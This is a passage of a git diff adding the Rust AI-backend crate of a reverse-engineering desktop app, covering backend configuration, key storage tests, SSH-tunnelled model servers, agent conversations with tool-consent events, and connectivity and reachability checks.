assert_eq!(std::fs::read(&file).unwrap(), bad, "the file was changed"); + } + std::fs::write(&file, &valid).unwrap(); + assert_eq!(s.set(FAL_KEY, "sk-test-new").unwrap(), "file"); + assert_eq!((s.get("FakeBackend").as_deref(), s.get(FAL_KEY).as_deref()), (Some("sk-test-backend"), Some("sk-test-new"))); + } + + #[test] + fn file_fallback_is_labelled_and_private() { + let dir = tempfile::tempdir().unwrap(); + let s = KeyStore::file_only(dir.path().join("ai-keys.toml")); + assert_eq!(s.set("Claude", "sk-test").unwrap(), "file"); + assert_eq!(s.get("Claude").as_deref(), Some("sk-test")); + let text = std::fs::read_to_string(dir.path().join("ai-keys.toml")).unwrap(); + assert!(text.starts_with("# REI Reverse Engineer AI keys: FALLBACK STORE.")); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt as _; + assert_eq!(std::fs::metadata(dir.path().join("ai-keys.toml")).unwrap().permissions().mode() & 0o777, 0o600); + } + s.delete("Claude").unwrap(); + assert!(s.get("Claude").is_none()); + assert!(s.set("x", " ").is_err()); + assert_eq!(env_var(BackendKind::Openrouter), Some("OPENROUTER_API_KEY")); + } +} diff --git a/desktop/crates/ai/src/lib.rs b/desktop/crates/ai/src/lib.rs new file mode 100644 index 0000000..25bb8a6 --- /dev/null +++ b/desktop/crates/ai/src/lib.rs @@ -0,0 +1,819 @@ +//! AI backends, the agent loop and crews. +//! +//! The UI talks to this crate only through [`AiHub`] and [`Conversation`]: start a conversation, +//! send a message, then poll [`AgentEvent`]s every frame. All network and subprocess work happens +//! on background threads; nothing here ever blocks the caller (except the explicitly blocking +//! helpers `test_backend`, `list_models` and `check_reachability`, which the UI runs on a worker). +#![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)] + +pub mod agent; +pub mod anthropic; +pub mod cli_agents; +pub mod config; +pub mod connections; +pub mod context; +pub mod detect; +pub mod failure_log; +pub mod http; +pub mod key_tools; +pub mod keys; +pub mod model; +pub mod openai; +pub mod price; +pub mod prompt; +pub mod rebuild; +pub mod ssh; + +pub use config::{AiConfig, BackendEntry, BackendOptions, Price}; +pub use keys::KeyStore; +pub use model::Effort; + +use crate::agent::{ApiConversation, EngineHost, LoopConfig, ModelSlot}; +use crate::model::{ChatModel, Delta, Msg, Stop, TurnRequest, TurnResult}; +use craft_anything_engine::{Engine, Settings}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use serde::{Deserialize, Serialize}; +use std::path::PathBuf; +use std::sync::Arc; +use std::time::{Duration, Instant}; + +/// Kinds of backend. See `plan/05-ai-backends.md`. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum BackendKind { + Anthropic, + Openai, + Openrouter, + /// Ollama, LM Studio, llama.cpp, vLLM… (OpenAI-compatible HTTP). + OpenaiCompatible, + /// Claude Code, Codex, Gemini CLI, Hermes Agent, OpenCode… run as a subprocess with our MCP server. + AgentCli, +} + +impl BackendKind { + pub fn title(self) -> &'static str { + match self { + BackendKind::Anthropic => "Anthropic (Claude API)", + BackendKind::Openai => "OpenAI", + BackendKind::Openrouter => "OpenRouter", + BackendKind::OpenaiCompatible => "Local / OpenAI-compatible server", + BackendKind::AgentCli => "Agent app (command line)", + } + } + + /// Models offered in a dropdown before a live list is fetched. + pub fn suggested_models(self) -> &'static [&'static str] { + match self { + BackendKind::Anthropic => anthropic::MODELS, + BackendKind::Openai => &[openai::OPENAI_DEFAULT_MODEL], + BackendKind::Openrouter => openai::OPENROUTER_MODELS, + BackendKind::OpenaiCompatible => &[], + BackendKind::AgentCli => &["claude-code", "codex", "gemini-cli", "opencode", "antigravity", "hermes", "maki"], + } + } + + pub fn needs_key(self) -> bool { + matches!(self, BackendKind::Anthropic | BackendKind::Openai | BackendKind::Openrouter) + } +} + +/// One configured backend (stored in `settings.ai`; secrets live in the OS keychain). +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct BackendConfig { + /// User-chosen name, unique: "Claude", "Local Llama", "Codex on studio-mac". + pub name: String, + pub kind: BackendKind, + /// Model id (API backends) or agent id (`claude-code`, `codex`, `gemini-cli`, `antigravity`, `hermes`, `opencode`…). + pub model: String, + /// Base URL for API backends (defaults per kind). + #[serde(default)] + pub base_url: Option, + /// SSH host alias for running an agent CLI or reaching a local-LLM server remotely. + #[serde(default)] + pub ssh_host: Option, + #[serde(default = "yes")] + pub enabled: bool, +} + +fn yes() -> bool { + true +} + +/// The effort an AI thinks at, when it can be chosen (Settings → AI): the Claude API and Claude +/// Code, which take every level in [`Effort::ALL`]. `None` for the others, which don't use it. +pub fn effort_in_use(config: &BackendConfig, options: Option<&BackendOptions>) -> Option { + let claude = match config.kind { + BackendKind::Anthropic => true, + BackendKind::AgentCli => config.model == "claude-code", + _ => false, + }; + claude.then(|| prompt::choose_effort(options.and_then(|o| o.effort))) +} + +/// The model an AI uses, when it can be chosen (Settings → AI, #123): an API's own, or the one +/// Claude Code is asked for. `None` for an agent app that picks its own. +pub fn model_in_use(config: &BackendConfig, options: Option<&BackendOptions>) -> Option { + match config.kind { + BackendKind::AgentCli if config.model == "claude-code" => { + Some(options.and_then(|o| o.cli_model.clone()).unwrap_or_else(|| anthropic::DEFAULT_MODEL.to_string())) + } + BackendKind::AgentCli => None, + _ => Some(config.model.clone()), + } +} + +/// The backend that builds when none is named: the Builder role's choice while it's on, else an +/// agent app, else an API backend. The same rule as [`AiConfig::backend_for`] for +/// [`Role::Builder`], for a client that holds only the list (the app decides "can it build?" +/// with it, so its warning and Start never disagree). +pub fn default_builder<'a>(backends: &'a [BackendConfig], chosen: Option<&str>) -> Option<&'a BackendConfig> { + let on = || backends.iter().filter(|b| b.enabled); + chosen + .and_then(|n| on().find(|b| b.name == n)) + .or_else(|| on().find(|b| b.kind == BackendKind::AgentCli)) + .or_else(|| on().find(|b| b.kind != BackendKind::AgentCli)) +} + +/// What a backend does in a crew. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum Role { + Lead, + Worker, + Reviewer, + Builder, + /// Takes the original game's files out after the study, in Deep mode (only when chosen). + Extractor, +} + +/// Something that was found on this machine and can be added with one click. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Detected { + pub suggestion: BackendConfig, + /// Plain words: "Found Ollama running with 3 models", "Found ANTHROPIC_API_KEY". + pub reason: String, + /// True when a key is still needed before it works. + pub needs_key: bool, +} + +/// Events the UI renders, in order. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(tag = "type", rename_all = "snake_case")] +pub enum AgentEvent { + /// Streaming text from the assistant (append to the current message). + TextDelta { + text: String, + }, + /// A short note on what it's doing ("Looking at the functions that mention 'percent'…"). + Status { + text: String, + }, + /// A line a program printed outside the conversation (its stderr), for logs: never part of + /// the answer. + Output { + text: String, + }, + ToolStarted { + call_id: String, + tool: String, + input: serde_json::Value, + }, + ToolFinished { + call_id: String, + tool: String, + ok: bool, + summary: String, + evidence_id: Option, + }, + /// The agent wants to run a tool that needs the user's OK. Answer with [`Conversation::answer_consent`]. + ConsentNeeded { + call_id: String, + tool: String, + title: String, + explanation: String, + }, + /// One assistant turn finished. + TurnDone { + backend: String, + input_tokens: u64, + output_tokens: u64, + cost_usd: Option, + /// `cost_usd` is the agent's own guess at API prices, not what a key was charged: a + /// subscription may cover the whole of it. + #[serde(default)] + cost_is_estimate: bool, + }, + Error { + message: String, + remediation: Option, + /// A log with everything known about the failure, to open and inspect. + log: Option, + }, +} + +/// A chat with the agent about the current session. +pub trait Conversation: Send { + fn send(&mut self, text: &str); + /// A saved session to continue later, for agents that have one (agent CLIs). + fn session_id(&self) -> Option { + None + } + /// Drain new events (non-blocking). + fn poll(&mut self) -> Vec; + fn answer_consent(&mut self, call_id: &str, allow: bool); + fn stop(&mut self); + fn is_busy(&self) -> bool; +} + +/// A conversation tagged with its backend's name (compare mode). +pub type Labeled = (String, Box); + +/// Result of a backend test. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct TestReport { + pub backend: String, + pub model: String, + pub latency_ms: u64, + pub reply: String, + /// Only the coding agent's `--version` ran (`reply` is its first line): it's installed, but + /// whether it's signed in, has a model and quota shows only when it gets a message (#48). + #[serde(default)] + pub version_only: bool, +} + +/// Text kept in the journal for a user message (bounded). +pub(crate) fn journal_text(t: &str) -> String { + t.chars().take(4000).collect() +} + +/// A model reached through an ssh tunnel; the tunnel lives as long as the model. +struct Tunneled { + inner: Box, + _tunnel: ssh::Tunnel, +} + +impl ChatModel for Tunneled { + fn turn(&mut self, req: &TurnRequest<'_>, on_delta: &mut dyn FnMut(Delta), stop: &Stop) -> Result { + self.inner.turn(req, on_delta, stop) + } + + fn model(&self) -> String { + self.inner.model() + } +} + +/// The tools this layer adds to the engine's (rebuild control), for +/// [`craft_anything_engine::Engine::shared`]. +pub fn tools() -> Vec { + let mut v = rebuild::tools::specs(); + v.extend(key_tools::specs()); + v +} + +/// Entry point for the UI and CLI. +pub struct AiHub { + pub engine: Arc, + settings_path: Option, + keys: KeyStore, +} + +impl AiHub { + pub fn new(engine: Arc) -> Self { + AiHub { engine, settings_path: None, keys: KeyStore::system() } + } + + /// A hub with explicit settings file and key store (tests, portable installs). + pub fn with_stores(engine: Arc, settings_path: PathBuf, keys: KeyStore) -> Self { + AiHub { engine, settings_path: Some(settings_path), keys } + } + + fn settings_path(&self) -> PathBuf { + self.settings_path.clone().unwrap_or_else(Settings::path) + } + + /// The current AI configuration. Never blocks on a running tool: if the session is busy the + /// saved settings file is read instead. + pub fn config(&self) -> AiConfig { + match self.engine.try_session() { + Some(s) => AiConfig::from_settings(&s.settings), + None => AiConfig::from_settings(&Settings::load_from(&self.settings_path())), + } + } + + /// The configuration to change and save back. An [ai] section that can't be read is an error + /// here, never the empty default, so a change can't save over it (#261). + fn config_to_change(&self) -> Result { + match self.engine.try_session() { + Some(s) => AiConfig::from_table(&s.settings.ai), + None => AiConfig::from_table(&Settings::load_from(&self.settings_path()).ai), + } + } + + /// Save the AI configuration into the settings file, then the session: a save that fails + /// changes nothing, so the app never shows a backend or role that isn't saved. + pub fn save_config(&self, cfg: &AiConfig) -> Result<(), ToolError> { + let table = cfg.to_table()?; + let mut s = self.engine.session(); + let mut next = s.settings.clone(); + next.ai = table; + next.save_to(&self.settings_path())?; + s.settings = next; + Ok(()) + } + + /// Configured backends. + pub fn backends(&self) -> Vec { + self.config().backends.into_iter().map(|b| b.config).collect() + } + + /// Look for keys, local servers and agent CLIs (runs quickly; network probes are bounded). + /// Things already configured (by name) are left out. + pub fn detect(&self) -> Vec { + let have: Vec = self.backends().into_iter().map(|b| b.name).collect(); + detect::detect_all().into_iter().filter(|d| !have.contains(&d.suggestion.name)).collect() + } + + /// Host aliases from `~/.ssh/config`, for the "run on another machine" picker. + pub fn ssh_hosts(&self) -> Vec { + ssh::ssh_hosts() + } + + /// The backend the person chose for `role` in Settings → AI, while it's still enabled. + pub fn chosen(&self, role: Role) -> Option { + let cfg = self.config(); + cfg.roles.get(config::role_key(role)).filter(|n| cfg.get(n).is_some_and(|b| b.config.enabled)).cloned() + } + + /// Choose the backend for `role`; `None` goes back to its default (the builder: an agent app, + /// else any AI backend; the extractor: none). + pub fn set_role(&self, role: Role, name: Option<&str>) -> Result<(), ToolError> { + let mut cfg = self.config_to_change()?; + let role = config::role_key(role).to_string(); + match name { + Some(n) if cfg.get(n).is_none() => { + return Err( + ToolError::invalid(format!("No AI backend named {n:?}")).with_remediation("See `craft-anything-cli ai list`, or add one in Settings → AI.") + ); + } + Some(n) => { + cfg.roles.insert(role, n.to_string()); + } + None => { + cfg.roles.remove(&role); + } + } + self.save_config(&cfg) + } + + /// Add (or replace) a backend, storing its key in the keychain when given. + pub fn add_backend(&self, cfg: BackendConfig, key: Option) -> Result<(), ToolError> { + self.add_backend_with(BackendEntry { config: cfg, options: BackendOptions::default() }, key) + } + + /// Add an OpenAI-compatible server by its address: Ollama or LM Studio on another computer, or + /// a hosted service with its key. It's added only when it answers with its models; without a + /// model, the first one it lists that can chat is used. Returns the model. + pub fn add_server(&self, name: &str, address: &str, model: Option<&str>, key: Option) -> Result { + let name = name.trim(); + let address = address.trim().trim_end_matches('/'); + if name.is_empty() { + return Err(ToolError::invalid("A backend needs a name.")); + } + if !(address.starts_with("http://") || address.starts_with("https://")) { + return Err(ToolError::invalid(format!("{address:?} isn't a web address.")) + .with_remediation("Give the server's address, like http://192.168.1.20:11434/v1.")); + } + let key = key.map(|k| k.trim().to_string()).filter(|k| !k.is_empty()); + let models = openai::OpenAi::compatible(name, address, key.clone(), "").list_models(Duration::from_secs(10)).map_err(|e| { + let why = e.message.clone(); + e.with_remediation(format!( + "Check the address (it usually ends in /v1), that the server is running and can be reached from this computer, and its key if it needs one. ({why})" + )) + })?; + let model = match model.map(str::trim).filter(|m| !m.is_empty()) { + Some(m) => m.to_string(), + None => detect::chat_model(&models).ok_or_else(|| { + ToolError::new(ErrorCode::NotFound, format!("{address} has no models yet.")).with_remediation("Add a model on the server first, or name one.") + })?, + }; + let config = BackendConfig { + name: name.to_string(), + kind: BackendKind::OpenaiCompatible, + model: model.clone(), + base_url: Some(address.to_string()), + ssh_host: None, + enabled: true, + }; + self.add_backend(config, key)?; + Ok(model) + } + + /// Like [`AiHub::add_backend`], with options. + pub fn add_backend_with(&self, entry: BackendEntry, key: Option) -> Result<(), ToolError> { + if entry.config.name.trim().is_empty() { + return Err(ToolError::invalid("A backend needs a name.")); + } + let mut cfg = self.config_to_change()?; + if let Some(k) = key.filter(|k| !k.trim().is_empty()) { + self.keys.set(&entry.config.name, k.trim())?; + } + cfg.upsert(entry); + self.save_config(&cfg) + } + + /// Turn a backend on or off; it keeps its settings and key. Returns false when there was no + /// such backend. + pub fn set_enabled(&self, name: &str, on: bool) -> Result { + let mut cfg = self.config_to_change()?; + let Some(b) = cfg.backends.iter_mut().find(|b| b.config.name == name) else { return Ok(false) }; + b.config.enabled = on; + self.save_config(&cfg)?; + Ok(true) + } + + /// The program an agent app runs (`None` or empty: found by its usual name, on PATH and in the + /// usual install folders). Returns false when there was no such backend. + pub fn set_command(&self, name: &str, command: Option<&str>) -> Result { + let mut cfg = self.config_to_change()?; + let Some(b) = cfg.backends.iter_mut().find(|b| b.config.name == name) else { return Ok(false) }; + b.options.command = command.map(str::trim).filter(|c| !c.is_empty()).map(str::to_string); + self.save_config(&cfg)?; + Ok(true) + } + + /// Each backend's options (an agent app's program and model…), by name. + pub fn options(&self) -> std::collections::BTreeMap { + self.config().backends.into_iter().map(|b| (b.config.name, b.options)).collect() + } + + /// The model a backend uses: an API's model, or the one Claude Code is asked for. Returns + /// false when there was no such backend. + pub fn set_model(&self, name: &str, model: &str) -> Result { + let model = model.trim(); + if model.is_empty() { + return Err(ToolError::invalid("Name a model.")); + } + let mut cfg = self.config_to_change()?; + let Some(b) = cfg.backends.iter_mut().find(|b| b.config.name == name) else { return Ok(false) }; + match b.config.kind { + BackendKind::AgentCli => b.options.cli_model = Some(model.to_string()), + _ => b.config.model = model.to_string(), + } + self.save_config(&cfg)?; + Ok(true) + } + + /// How hard a backend thinks (`None`: the usual level again). Only the Claude API and Claude + /// Code take one ([`effort_in_use`]). Returns false when there was no such backend. + pub fn set_effort(&self, name: &str, effort: Option) -> Result { + let mut cfg = self.config_to_change()?; + let Some(b) = cfg.backends.iter_mut().find(|b| b.config.name == name) else { return Ok(false) }; + if effort.is_some() && effort_in_use(&b.config, Some(&b.options)).is_none() { + return Err(ToolError::invalid(format!("{name} doesn't take an effort level.")).with_remediation("Effort is for the Claude API and Claude Code.")); + } + b.options.effort = effort; + self.save_config(&cfg)?; + Ok(true) + } + + /// The models a backend can be set to (#123): the API's own list, or Claude's models for Claude + /// Code. Empty for an agent app that picks its own. Blocking (bounded); run it off the UI thread. + pub fn model_choices(&self, name: &str) -> Result, ToolError> { + let e = self.entry(name)?; + match (e.config.kind, model_in_use(&e.config, Some(&e.options))) { + (_, None) => Ok(Vec::new()), + (BackendKind::AgentCli, Some(_)) => Ok(anthropic::MODELS.iter().map(|m| m.to_string()).collect()), + _ => self.list_models(name), + } + } + + /// Remove a backend and its stored key. Returns false when there was no such backend. + pub fn remove_backend(&self, name: &str) -> Result { + let mut cfg = self.config_to_change()?; + let removed = cfg.remove(name); + if removed { + self.save_config(&cfg)?; + self.keys.delete(name)?; + } + Ok(removed) + } + + /// Some built-in asset provider has a key, so builds can generate assets. + pub fn has_asset_keys(&self) -> bool { + let providers = craft_anything_engines::assets::AssetProviders::built_in(); + providers.ids().into_iter().any(|id| self.has_asset_key(&providers, id)) + } + + /// Save an asset provider's key (keychain first). Returns where it went. + pub fn set_asset_key(&self, provider: &str, key: &str) -> Result<&'static str, ToolError> { + self.keys.set(&keys::asset_key_name(provider), key.trim()) + } + + pub fn remove_asset_key(&self, provider: &str) -> Result<(), ToolError> { + self.keys.delete(&keys::asset_key_name(provider)) + } + + /// The provider's key is stored or in its environment variable. + pub fn has_asset_key(&self, providers: &craft_anything_engines::assets::AssetProviders, provider: &str) -> bool { + providers.get(provider).is_some_and(|p| keys::asset_key(&self.keys, p.as_ref()).is_some()) + } + + /// True when a key is stored or in the environment (keys themselves are never returned). + pub fn has_key(&self, name: &str) -> bool { + self.config().get(name).is_some_and(|b| { + let requires_key = b.config.kind.needs_key() || (b.config.kind == BackendKind::OpenaiCompatible && name == connections::EXPERIENTIAL_NAME); + !requires_key || self.keys.resolve(name, b.config.kind).is_some() + }) + } + + fn entry(&self, name: &str) -> Result { + self.config().get(name).cloned().ok_or_else(|| { + ToolError::invalid(format!("No AI backend named {name:?}")).with_remediation("See `craft-anything-cli ai list`, or add one in Settings → AI.") + }) + } + + fn key_for(&self, e: &BackendEntry) -> Result { + self.keys.resolve(&e.config.name, e.config.kind).ok_or_else(|| { + let var = keys::env_var(e.config.kind).unwrap_or("an API key"); + ToolError::new(ErrorCode::BadSettings, format!("{} has no API key.", e.config.name)) + .with_remediation(format!("Add the key in Settings → AI, or set {var}.")) + }) + } + + /// Build the model for an API backend (not agent CLIs). + pub fn build_model(&self, e: &BackendEntry) -> Result { + let c = &e.config; + let base = c.base_url.as_deref().filter(|b| !b.trim().is_empty()); + let mut tunnel = None; + // Over ssh: forward a local port to the server as seen from the remote host. + let tunneled_base = match (&c.ssh_host, c.kind) { + (Some(host), BackendKind::OpenaiCompatible) if !host.trim().is_empty() => { + let b = base.unwrap_or("http://127.0.0.1:11434/v1"); + let after = b.split("://").nth(1).unwrap_or(b); + let hostport = after.split('/').next().unwrap_or_default(); + let path = after.get(hostport.len()..).unwrap_or("/v1"); + let (rh, rp) = hostport.rsplit_once(':').unwrap_or((hostport, "80")); + let rp: u16 = rp.parse().map_err(|_| ToolError::invalid(format!("Bad port in {b}")))?; + let t = ssh::open_tunnel(host, rh, rp)?; + let url = format!("http://127.0.0.1:{}{path}", t.local_port); + tunnel = Some(t); + Some(url) + } + _ => None, + }; + let base = tunneled_base.as_deref().or(base); + // A server on this computer or its network (Ollama, LM Studio, one reached over ssh) costs + // nothing and gets the small context budget; a remote OpenAI-compatible service has a + // large context and a bill, as any other cloud API (#374). + let local = c.kind == BackendKind::OpenaiCompatible && base.is_none_or(detect::on_this_network); + let model: Box = match c.kind { + BackendKind::Anthropic => { + let mut a = anthropic::Anthropic::new(base, self.key_for(e)?, &c.model); + a.fallbacks = e.options.fallbacks_enabled.unwrap_or(true); + Box::new(a) + } + BackendKind::Openai => Box::new(openai::OpenAi::official(base, self.key_for(e)?, &c.model)), + BackendKind::Openrouter => Box::new(openai::OpenAi::openrouter(base, self.key_for(e)?, &c.model)), + BackendKind::OpenaiCompatible => { + let mut o = openai::OpenAi::compatible(&c.name, base.unwrap_or("http://127.0.0.1:11434/v1"), self.keys.resolve(&c.name, c.kind), &c.model); + o.react = e.options.react_fallback.unwrap_or(false); + Box::new(o) + } + BackendKind::AgentCli => return Err(ToolError::invalid(format!("{} is an agent app, not an API backend.", c.name))), + }; + let model = match tunnel { + Some(t) => Box::new(Tunneled { inner: model, _tunnel: t }) as Box, + None => model, + }; + Ok(ModelSlot { name: c.name.clone(), model, local, effort: e.options.effort, max_turns: e.options.max_turns.unwrap_or(agent::DEFAULT_MAX_TURNS) }) + } + + fn project_root(&self) -> Option { + self.engine.try_session().and_then(|s| s.project.as_ref().map(|p| p.root.clone())) + } + + /// Start a conversation with the lead backend (or the named one). + pub fn start(&self, backend: Option<&str>, beginner: bool) -> Result, ToolError> { + let cfg = self.config(); + let first = match backend { + Some(n) => self.entry(n)?, + None => cfg + .backend_for(Role::Lead) + .cloned() + .ok_or_else(|| ToolError::unavailable("No AI is set up yet.").with_remediation("Add one in Settings → AI."))?, + }; + if first.config.kind == BackendKind::AgentCli { + let spec = cli_agents::CliSpec::new(first.config.clone(), first.options.clone(), beginner, self.project_root()); + let (deep, logs) = { + let session = self.engine.session(); + (!session.clean_room(), failure_log::dir_in(&session.config_dir())) + }; + return Ok(cli_agents::conversation(cli_agents::CliSpec { deep, logs: Some(logs), ..spec })); + } + let mut chain = vec![self.build_model(&first)?]; + for name in cfg.chain_from(&first.config.name).into_iter().skip(1) { + if let Some(e) = cfg.get(&name).filter(|e| e.config.kind != BackendKind::AgentCli) { + match self.build_model(e) { + Ok(slot) => chain.push(slot), + Err(err) => log::info!("fallback {name} skipped: {}", err.message), + } + } + } + let host = Arc::new(EngineHost(self.engine.clone())); + let conv = ApiConversation::start(host, chain, LoopConfig { beginner, prices: cfg.prices.clone(), ..LoopConfig::default() })?; + Ok(Box::new(conv)) + } + + /// A builder conversation on an API backend: our agent loop with the Build toolset (files and + /// commands in the project) enabled from the start, and room for a long build. In Deep mode + /// every toolset is enabled, so it can look inside the original with all of them. + /// `transcript`: where the conversation is kept, and resumed from when it's there. + pub fn start_builder(&self, entry: &BackendEntry, beginner: bool, transcript: Option) -> Result { + use craft_anything_engine::Toolset; + let deep = !self.engine.session().clean_room(); + let toolsets = if deep { self.engine.registry().toolsets() } else { vec![Toolset::Core, Toolset::Build] }; + self.start_loop(entry, beginner, transcript, &toolsets) + } + + /// Start the asset extractor: our agent loop with the Build tools and the game archive tools. + pub fn start_extractor(&self, entry: &BackendEntry, beginner: bool, transcript: Option) -> Result { + use craft_anything_engine::Toolset; + self.start_loop(entry, beginner, transcript, &[Toolset::Core, Toolset::Build, Toolset::Formats]) + } + + fn start_loop( + &self, + entry: &BackendEntry, + beginner: bool, + transcript: Option, + toolsets: &[craft_anything_engine::Toolset], + ) -> Result { + let mut slot = self.build_model(entry)?; + slot.max_turns = slot.max_turns.max(agent::BUILDER_MAX_TURNS); + let host = Arc::new(EngineHost(self.engine.clone())); + ApiConversation::start_with( + host, + vec![slot], + LoopConfig { beginner, prices: self.config().prices.clone(), transcript, ..LoopConfig::default() }, + toolsets.iter().copied().collect(), + ) + } + + /// Start a conversation with whichever backend fills `role` in the crew. + pub fn start_role(&self, role: Role, beginner: bool) -> Result, ToolError> { + let cfg = self.config(); + let e = cfg.backend_for(role).ok_or_else(|| { + ToolError::unavailable(format!("No backend is set for the {} role.", config::role_key(role))) + .with_remediation("Choose one in Settings → AI → Roles.") + })?; + self.start(Some(&e.config.name), beginner) + } + + /// Compare mode: the same question to two backends. Returns one conversation per backend, + /// tagged by name; the caller sends the same text to both and shows them side by side. + pub fn compare(&self, a: &str, b: &str, beginner: bool) -> Result, ToolError> { + if a == b { + return Err(ToolError::invalid("Pick two different backends to compare.")); + } + Ok(vec![(a.to_string(), self.start(Some(a), beginner)?), (b.to_string(), self.start(Some(b), beginner)?)]) + } + + /// Live model list for a backend. Blocking (bounded); run it off the UI thread. + pub fn list_models(&self, name: &str) -> Result, ToolError> { + let e = self.entry(name)?; + let base = e.config.base_url.as_deref().filter(|b| !b.trim().is_empty()); + let t = Duration::from_secs(10); + match e.config.kind { + BackendKind::Anthropic => anthropic::Anthropic::new(base, self.key_for(&e)?, &e.config.model).list_models(t), + BackendKind::Openai => openai::OpenAi::official(base, self.key_for(&e)?, &e.config.model).list_models(t), + BackendKind::Openrouter => openai::OpenAi::openrouter(base, self.key_for(&e)?, &e.config.model).list_models(t), + BackendKind::OpenaiCompatible => { + if e.config.ssh_host.as_deref().is_some_and(|h| !h.trim().is_empty()) { + return Err(ToolError::unavailable("Listing models on a remote server isn't supported yet.").with_remediation("Type the model name.")); + } + openai::OpenAi::compatible(&e.config.name, base.unwrap_or("http://127.0.0.1:11434/v1"), self.keys.resolve(&e.config.name, e.config.kind), "") + .list_models(t) + } + BackendKind::AgentCli => Ok(BackendKind::AgentCli.suggested_models().iter().map(|s| s.to_string()).collect()), + } + } + + /// Send a tiny request and time it; a coding agent only runs `--version`, so its report says + /// `version_only`. Blocking (bounded); run it off the UI thread. + pub fn test_backend(&self, name: &str) -> Result { + let e = self.entry(name)?; + let start = Instant::now(); + if e.config.kind == BackendKind::AgentCli { + let program = e.options.command.clone().unwrap_or_else(|| cli_agents::program_for(&e.config.model)); + let p = match e.config.ssh_host.as_deref().filter(|h| !h.trim().is_empty()) { + Some(h) => craft_anything_platform::Process::new("ssh").args(ssh::ssh_args(h, &[program.clone(), "--version".into()])), + None => craft_anything_platform::Process::new(&program).arg("--version"), + }; + let out = p.timeout(Duration::from_secs(15)).run_checked()?; + return Ok(TestReport { + backend: e.config.name.clone(), + model: e.config.model.clone(), + latency_ms: start.elapsed().as_millis() as u64, + reply: out.stdout_text().lines().next().unwrap_or_default().trim().to_string(), + version_only: true, + }); + } + let mut slot = self.build_model(&e)?; + let stop = Stop::default(); + let (tx, rx) = std::sync::mpsc::channel(); + // A hard bound even if the server trickles bytes forever. + std::thread::Builder::new() + .name("ai-test".into()) + .spawn(move || { + let msgs = req_parts(); + let r = slot.model.turn(&req_owned(&msgs), &mut |_| {}, &stop).map(|r| (r, slot.model.model())); + let _ = tx.send(r); + }) + .map_err(|e| ToolError::internal(e.to_string()))?; + let (r, model) = + rx.recv_timeout(Duration::from_secs(60)).map_err(|_| ToolError::new(ErrorCode::TimedOut, format!("{name} didn't answer within 60 s.")))??; + Ok(TestReport { + backend: e.config.name.clone(), + model: if r.model.is_empty() { model } else { r.model }, + latency_ms: start.elapsed().as_millis() as u64, + reply: r.message.text().trim().to_string(), + version_only: false, + }) + } + + /// For `doctor`: is each enabled backend reachable? `(name, Ok(latency ms) | Err(reason))`. + /// Probes run in parallel; the whole check is bounded to about 12 s. + pub fn check_reachability(&self) -> Vec<(String, Result)> { + let entries: Vec = self.config().enabled().cloned().collect(); + let (tx, rx) = std::sync::mpsc::channel(); + for (i, e) in entries.iter().enumerate() { + let e = e.clone(); + let key = self.keys.resolve(&e.config.name, e.config.kind); + let tx = tx.clone(); + let _ = std::thread::Builder::new().name("ai-reach".into()).spawn(move || { + let _ = tx.send((i, reach(&e, key))); + }); + } + drop(tx); + let deadline = Instant::now() + Duration::from_secs(12); + let mut results: Vec>> = vec![None; entries.len()]; + while results.iter().any(Option::is_none) { + match rx.recv_timeout(deadline.saturating_duration_since(Instant::now())) { + Ok((i, r)) => { + if let Some(slot) = results.get_mut(i) { + *slot = Some(r); + } + } + Err(_) => break, + } + } + entries.into_iter().zip(results).map(|(e, r)| (e.config.name, r.unwrap_or_else(|| Err("no answer in time".into())))).collect() + } +} + +fn req_parts() -> Vec { + vec![Msg::user_text("Reply with the single word: ready")] +} + +fn req_owned(msgs: &[Msg]) -> TurnRequest<'_> { + TurnRequest { system: "You are a connectivity check. Answer in one word.", messages: msgs, tools: &[], effort: Effort::High, max_tokens: 2048 } +} + +fn reach(e: &BackendEntry, key: Option) -> Result { + let start = Instant::now(); + let t = Duration::from_secs(8); + let base = e.config.base_url.as_deref().filter(|b| !b.trim().is_empty()); + let need = + |k: Option| k.ok_or_else(|| format!("no API key (set it in Settings → AI or {})", keys::env_var(e.config.kind).unwrap_or("the environment"))); + let r: Result<(), String> = match e.config.kind { + BackendKind::Anthropic => anthropic::Anthropic::new(base, need(key)?, &e.config.model).list_models(t).map(|_| ()).map_err(|x| x.message), + BackendKind::Openai => openai::OpenAi::official(base, need(key)?, &e.config.model).list_models(t).map(|_| ()).map_err(|x| x.message), + BackendKind::Openrouter => openai::OpenAi::openrouter(base, need(key)?, &e.config.model).list_models(t).map(|_| ()).map_err(|x| x.message), + BackendKind::OpenaiCompatible | BackendKind::AgentCli if e.config.ssh_host.as_deref().is_some_and(|h| !h.trim().is_empty()) => { + let host = e.config.ssh_host.clone().unwrap_or_default(); + craft_anything_platform::Process::new("ssh") + .args(ssh::ssh_args(&host, &["true".to_string()])) + .timeout(Duration::from_secs(10)) + .run_checked() + .map(|_| ()) + .map_err(|x| x.message) + } + BackendKind::OpenaiCompatible => { + let b = base.unwrap_or("http://127.0.0.1:11434/v1"); + if !detect::port_open(b, Duration::from_millis(500)) { + Err(format!("nothing is listening at {b}")) + } else { + // An open port isn't a model server: another program may hold it (#37). + openai::OpenAi::compatible(&e.config.name, b, key, &e.config.model).list_models(t).map(|_| ()).map_err(|x| x.message) + } + } + BackendKind::AgentCli => { + let program = e.options.command.clone().unwrap_or_else(|| cli_agents::program_for(&e.config.model)); + craft_anything_platform::which(&program).map(|_| ()).ok_or_else(|| format!("{program} isn't on PATH")) + } + }; + r.map(|_| start.elapsed().as_millis() as u64) +} + +#[cfg(test)] +mod tests; diff --git a/desktop/crates/ai/src/model.rs b/desktop/crates/ai/src/model.rs new file mode 100644 index 0000000..fac497b --- /dev/null +++ b/desktop/crates/ai/src/model.rs @@ -0,0 +1,235 @@ +//! Provider-neutral chat types the agent loop speaks; each backend maps them to its wire format. + +use craft_anything_evidence::ToolError; +use 